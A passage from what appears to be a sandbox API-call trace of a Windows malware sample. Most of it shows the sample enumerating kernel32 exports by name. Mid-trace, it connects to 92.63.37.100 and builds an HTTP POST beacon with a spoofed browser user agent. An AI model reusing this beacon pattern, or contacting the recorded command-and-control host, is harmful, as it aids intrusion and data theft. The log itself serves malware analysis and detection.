lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0055.549] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0055.549] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0055.549] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0055.549] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0055.549] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0055.549] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0055.549] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0055.549] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0055.549] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0055.549] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0055.549] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0055.549] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0055.549] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0055.549] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0055.549] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0055.549] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0055.549] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0055.549] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0055.549] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0055.549] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0055.549] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0055.549] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0055.549] lstrlenA (lpString="CREATETHREAD") returned 12 [0055.549] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0055.549] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0055.549] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0055.549] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0055.549] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0055.549] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0055.549] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0055.549] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0055.549] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0055.549] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0055.549] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0055.550] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0055.550] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0055.550] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0055.550] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0055.550] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0055.550] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0055.550] lstrlenA (lpString="CREATETOOLHELP32SNAPSHOT") returned 24 [0055.550] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateWaitableTimerA" | out: lpString1="CreateWaitableTimerA") returned="CreateWaitableTimerA" [0055.550] lstrlenA (lpString="CREATEWAITABLETIMERA") returned 20 [0055.550] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateWaitableTimerExA" | out: lpString1="CreateWaitableTimerExA") returned="CreateWaitableTimerExA" [0055.550] lstrlenA (lpString="CREATEWAITABLETIMEREXA") returned 22 [0055.550] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateWaitableTimerExW" | out: lpString1="CreateWaitableTimerExW") returned="CreateWaitableTimerExW" [0055.550] lstrlenA (lpString="CREATEWAITABLETIMEREXW") returned 22 [0055.550] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateWaitableTimerW" | out: lpString1="CreateWaitableTimerW") returned="CreateWaitableTimerW" [0055.550] lstrlenA (lpString="CREATEWAITABLETIMERW") returned 20 [0055.550] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CtrlRoutine" | out: lpString1="CtrlRoutine") returned="CtrlRoutine" [0055.550] lstrlenA (lpString="CTRLROUTINE") returned 11 [0055.550] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeactivateActCtx" | out: lpString1="DeactivateActCtx") returned="DeactivateActCtx" [0055.550] lstrlenA (lpString="DEACTIVATEACTCTX") returned 16 [0055.550] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DebugActiveProcess" | out: lpString1="DebugActiveProcess") returned="DebugActiveProcess" [0055.550] lstrlenA (lpString="DEBUGACTIVEPROCESS") returned 18 [0055.550] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DebugActiveProcessStop" | out: lpString1="DebugActiveProcessStop") returned="DebugActiveProcessStop" [0055.550] lstrlenA (lpString="DEBUGACTIVEPROCESSSTOP") returned 22 [0055.550] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DebugBreak" | out: lpString1="DebugBreak") returned="DebugBreak" [0055.550] lstrlenA (lpString="DEBUGBREAK") returned 10 [0055.550] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DebugBreakProcess" | out: lpString1="DebugBreakProcess") returned="DebugBreakProcess" [0055.550] lstrlenA (lpString="DEBUGBREAKPROCESS") returned 17 [0055.550] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DebugSetProcessKillOnExit" | out: lpString1="DebugSetProcessKillOnExit") returned="DebugSetProcessKillOnExit" [0055.550] lstrlenA (lpString="DEBUGSETPROCESSKILLONEXIT") returned 25 [0055.550] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DecodePointer" | out: lpString1="DecodePointer") returned="DecodePointer" [0055.550] lstrlenA (lpString="DECODEPOINTER") returned 13 [0055.550] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DecodeSystemPointer" | out: lpString1="DecodeSystemPointer") returned="DecodeSystemPointer" [0055.550] lstrlenA (lpString="DECODESYSTEMPOINTER") returned 19 [0055.550] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DefineDosDeviceA" | out: lpString1="DefineDosDeviceA") returned="DefineDosDeviceA" [0055.550] lstrlenA (lpString="DEFINEDOSDEVICEA") returned 16 [0055.551] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DefineDosDeviceW" | out: lpString1="DefineDosDeviceW") returned="DefineDosDeviceW" [0055.551] lstrlenA (lpString="DEFINEDOSDEVICEW") returned 16 [0055.551] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DelayLoadFailureHook" | out: lpString1="DelayLoadFailureHook") returned="DelayLoadFailureHook" [0055.551] lstrlenA (lpString="DELAYLOADFAILUREHOOK") returned 20 [0055.551] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeleteAtom" | out: lpString1="DeleteAtom") returned="DeleteAtom" [0055.551] lstrlenA (lpString="DELETEATOM") returned 10 [0055.551] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeleteBoundaryDescriptor" | out: lpString1="DeleteBoundaryDescriptor") returned="DeleteBoundaryDescriptor" [0055.551] lstrlenA (lpString="DELETEBOUNDARYDESCRIPTOR") returned 24 [0055.551] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeleteCriticalSection" | out: lpString1="DeleteCriticalSection") returned="DeleteCriticalSection" [0055.551] lstrlenA (lpString="DELETECRITICALSECTION") returned 21 [0055.551] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeleteFiber" | out: lpString1="DeleteFiber") returned="DeleteFiber" [0055.551] lstrlenA (lpString="DELETEFIBER") returned 11 [0055.551] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeleteFileA" | out: lpString1="DeleteFileA") returned="DeleteFileA" [0055.551] lstrlenA (lpString="DELETEFILEA") returned 11 [0055.551] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeleteFileTransactedA" | out: lpString1="DeleteFileTransactedA") returned="DeleteFileTransactedA" [0055.551] lstrlenA (lpString="DELETEFILETRANSACTEDA") returned 21 [0055.551] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeleteFileTransactedW" | out: lpString1="DeleteFileTransactedW") returned="DeleteFileTransactedW" [0055.551] lstrlenA (lpString="DELETEFILETRANSACTEDW") returned 21 [0055.551] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeleteFileW" | out: lpString1="DeleteFileW") returned="DeleteFileW" [0055.551] lstrlenA (lpString="DELETEFILEW") returned 11 [0055.551] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeleteProcThreadAttributeList" | out: lpString1="DeleteProcThreadAttributeList") returned="DeleteProcThreadAttributeList" [0055.551] lstrlenA (lpString="DELETEPROCTHREADATTRIBUTELIST") returned 29 [0055.551] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeleteTimerQueue" | out: lpString1="DeleteTimerQueue") returned="DeleteTimerQueue" [0055.551] lstrlenA (lpString="DELETETIMERQUEUE") returned 16 [0055.551] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeleteTimerQueueEx" | out: lpString1="DeleteTimerQueueEx") returned="DeleteTimerQueueEx" [0055.551] lstrlenA (lpString="DELETETIMERQUEUEEX") returned 18 [0055.551] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeleteTimerQueueTimer" | out: lpString1="DeleteTimerQueueTimer") returned="DeleteTimerQueueTimer" [0055.551] lstrlenA (lpString="DELETETIMERQUEUETIMER") returned 21 [0055.551] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeleteVolumeMountPointA" | out: lpString1="DeleteVolumeMountPointA") returned="DeleteVolumeMountPointA" [0055.551] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTA") returned 23 [0055.551] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeleteVolumeMountPointW" | out: lpString1="DeleteVolumeMountPointW") returned="DeleteVolumeMountPointW" [0055.551] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTW") returned 23 [0055.551] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeviceIoControl" | out: lpString1="DeviceIoControl") returned="DeviceIoControl" [0055.551] lstrlenA (lpString="DEVICEIOCONTROL") returned 15 [0055.551] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DisableThreadLibraryCalls" | out: lpString1="DisableThreadLibraryCalls") returned="DisableThreadLibraryCalls" [0055.552] lstrlenA (lpString="DISABLETHREADLIBRARYCALLS") returned 25 [0055.552] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DisableThreadProfiling" | out: lpString1="DisableThreadProfiling") returned="DisableThreadProfiling" [0055.552] lstrlenA (lpString="DISABLETHREADPROFILING") returned 22 [0055.552] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DisassociateCurrentThreadFromCallback" | out: lpString1="DisassociateCurrentThreadFromCallback") returned="DisassociateCurrentThreadFromCallback" [0055.552] lstrlenA (lpString="DISASSOCIATECURRENTTHREADFROMCALLBACK") returned 37 [0055.552] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DisconnectNamedPipe" | out: lpString1="DisconnectNamedPipe") returned="DisconnectNamedPipe" [0055.552] lstrlenA (lpString="DISCONNECTNAMEDPIPE") returned 19 [0055.552] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DnsHostnameToComputerNameA" | out: lpString1="DnsHostnameToComputerNameA") returned="DnsHostnameToComputerNameA" [0055.552] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEA") returned 26 [0055.552] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DnsHostnameToComputerNameW" | out: lpString1="DnsHostnameToComputerNameW") returned="DnsHostnameToComputerNameW" [0055.552] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEW") returned 26 [0055.552] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DosDateTimeToFileTime" | out: lpString1="DosDateTimeToFileTime") returned="DosDateTimeToFileTime" [0055.552] lstrlenA (lpString="DOSDATETIMETOFILETIME") returned 21 [0055.552] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DosPathToSessionPathA" | out: lpString1="DosPathToSessionPathA") returned="DosPathToSessionPathA" [0055.552] lstrlenA (lpString="DOSPATHTOSESSIONPATHA") returned 21 [0055.552] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DosPathToSessionPathW" | out: lpString1="DosPathToSessionPathW") returned="DosPathToSessionPathW" [0055.552] lstrlenA (lpString="DOSPATHTOSESSIONPATHW") returned 21 [0055.552] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DuplicateConsoleHandle" | out: lpString1="DuplicateConsoleHandle") returned="DuplicateConsoleHandle" [0055.552] lstrlenA (lpString="DUPLICATECONSOLEHANDLE") returned 22 [0055.552] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DuplicateHandle" | out: lpString1="DuplicateHandle") returned="DuplicateHandle" [0055.552] lstrlenA (lpString="DUPLICATEHANDLE") returned 15 [0055.552] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EnableThreadProfiling" | out: lpString1="EnableThreadProfiling") returned="EnableThreadProfiling" [0055.552] lstrlenA (lpString="ENABLETHREADPROFILING") returned 21 [0055.552] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EncodePointer" | out: lpString1="EncodePointer") returned="EncodePointer" [0055.552] lstrlenA (lpString="ENCODEPOINTER") returned 13 [0055.552] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EncodeSystemPointer" | out: lpString1="EncodeSystemPointer") returned="EncodeSystemPointer" [0055.552] lstrlenA (lpString="ENCODESYSTEMPOINTER") returned 19 [0055.552] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EndUpdateResourceA" | out: lpString1="EndUpdateResourceA") returned="EndUpdateResourceA" [0055.552] lstrlenA (lpString="ENDUPDATERESOURCEA") returned 18 [0055.552] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EndUpdateResourceW" | out: lpString1="EndUpdateResourceW") returned="EndUpdateResourceW" [0055.552] lstrlenA (lpString="ENDUPDATERESOURCEW") returned 18 [0055.552] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EnterCriticalSection" | out: lpString1="EnterCriticalSection") returned="EnterCriticalSection" [0055.552] lstrlenA (lpString="ENTERCRITICALSECTION") returned 20 [0055.552] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EnumCalendarInfoA" | out: lpString1="EnumCalendarInfoA") returned="EnumCalendarInfoA" [0055.552] lstrlenA (lpString="ENUMCALENDARINFOA") returned 17 [0055.553] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EnumCalendarInfoExA" | out: lpString1="EnumCalendarInfoExA") returned="EnumCalendarInfoExA" [0055.553] lstrlenA (lpString="ENUMCALENDARINFOEXA") returned 19 [0055.553] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EnumCalendarInfoExEx" | out: lpString1="EnumCalendarInfoExEx") returned="EnumCalendarInfoExEx" [0055.553] lstrlenA (lpString="ENUMCALENDARINFOEXEX") returned 20 [0055.553] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EnumCalendarInfoExW" | out: lpString1="EnumCalendarInfoExW") returned="EnumCalendarInfoExW" [0055.553] lstrlenA (lpString="ENUMCALENDARINFOEXW") returned 19 [0055.553] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EnumCalendarInfoW" | out: lpString1="EnumCalendarInfoW") returned="EnumCalendarInfoW" [0055.553] lstrlenA (lpString="ENUMCALENDARINFOW") returned 17 [0055.553] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EnumDateFormatsA" | out: lpString1="EnumDateFormatsA") returned="EnumDateFormatsA" [0055.553] lstrlenA (lpString="ENUMDATEFORMATSA") returned 16 [0055.553] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EnumDateFormatsExA" | out: lpString1="EnumDateFormatsExA") returned="EnumDateFormatsExA" [0055.553] lstrlenA (lpString="ENUMDATEFORMATSEXA") returned 18 [0055.553] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EnumDateFormatsExEx" | out: lpString1="EnumDateFormatsExEx") returned="EnumDateFormatsExEx" [0055.553] lstrlenA (lpString="ENUMDATEFORMATSEXEX") returned 19 [0055.553] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EnumDateFormatsExW" | out: lpString1="EnumDateFormatsExW") returned="EnumDateFormatsExW" [0055.553] lstrlenA (lpString="ENUMDATEFORMATSEXW") returned 18 [0055.553] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EnumDateFormatsW" | out: lpString1="EnumDateFormatsW") returned="EnumDateFormatsW" [0055.554] inet_pton (in: Family=2, pszAddrString="92.63.37.100", pAddrBuf=0x2c4f830 | out: pAddrBuf=0x2c4f830) returned 1 [0055.554] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2c4fc7c | out: lpWSAData=0x2c4fc7c) returned 0 [0055.558] socket (af=2, type=1, protocol=6) returned 0x1fc [0055.560] inet_addr (cp="92.63.37.100") returned 0x64253f5c [0055.560] htons (hostshort=0x50) returned 0x5000 [0055.560] connect (s=0x1fc, name=0x2c4f80c*(sa_family=2, sin_port=0x50, sin_addr="92.63.37.100"), namelen=16) returned 0 [0056.579] wsprintfA (in: param_1=0x630000, param_2="POST /%s HTTP/1.1\r\nUser-Agent: %s\r\nHost: %s\r\nContent-Type: %s\r\nContent-Length: %d\r\nConnection: Keep-Alive\r\n\r\n" | out: param_1="POST /post/checkout/mkgqp.cgi?iii=8128v5 HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko\r\nHost: 92.63.37.100\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 247\r\nConnection: Keep-Alive\r\n\r\n") returned 253 [0056.579] lstrlenA (lpString="kernel32.dll") returned 12 [0056.580] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0056.580] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0056.580] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0056.580] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0056.580] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0056.580] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0056.580] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0056.580] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0056.580] lstrlenA (lpString="ADDATOMA") returned 8 [0056.580] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0056.580] lstrlenA (lpString="ADDATOMW") returned 8 [0056.580] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0056.580] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0056.580] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0056.580] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0056.580] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0056.580] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0056.580] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0056.580] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0056.580] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0056.580] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0056.580] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0056.580] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0056.581] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0056.581] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0056.581] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0056.581] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0056.581] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0056.581] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0056.581] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0056.581] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0056.581] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0056.581] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0056.581] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0056.581] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0056.581] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0056.581] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0056.581] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0056.581] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0056.581] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0056.581] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0056.581] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0056.581] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0056.581] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0056.581] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0056.581] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0056.581] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0056.581] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0056.581] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0056.581] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0056.581] lstrlenA (lpString="BACKUPREAD") returned 10 [0056.581] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0056.581] lstrlenA (lpString="BACKUPSEEK") returned 10 [0056.581] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0056.581] lstrlenA (lpString="BACKUPWRITE") returned 11 [0056.581] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0056.581] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0056.581] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0056.581] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0056.582] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0056.582] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0056.582] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0056.582] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0056.582] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0056.582] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0056.582] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0056.582] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0056.582] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0056.582] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0056.582] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0056.582] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0056.582] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0056.582] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0056.582] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0056.582] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0056.582] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0056.582] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0056.582] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0056.582] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0056.582] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") 